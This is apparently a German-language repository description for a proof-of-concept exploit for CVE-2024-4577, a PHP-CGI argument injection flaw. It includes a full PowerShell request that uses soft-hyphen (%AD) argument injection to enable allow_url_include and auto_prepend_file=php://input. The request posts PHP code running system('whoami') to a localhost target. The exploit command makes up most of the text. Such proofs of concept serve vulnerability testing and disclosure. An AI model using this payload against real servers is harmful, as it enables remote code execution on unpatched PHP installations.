ianthinus/cve-2024-4577Proof-of-Concept-Exploit für CVE-2024-4577, eine PHP-CGI-Argumentinjektions-Schwachstelle, die die Ausführung von entferntem Code durch manipulierte HTTP-Anfragen ermöglicht.
CVE-2024-4577 Umgebungs-Setup-Dateien und PHP-Dateien
--poc-- Invoke-WebRequest -Method POST `
-Headers @{"Content-Type" = "application/x-www-form-urlencoded"}
-Body "<?php system('whoami'); ?>"-Uri "http://localhost/test.php?%ADd+allow_url_include%3D1+%ADd+auto_prepend_ file%3Dphp://input"
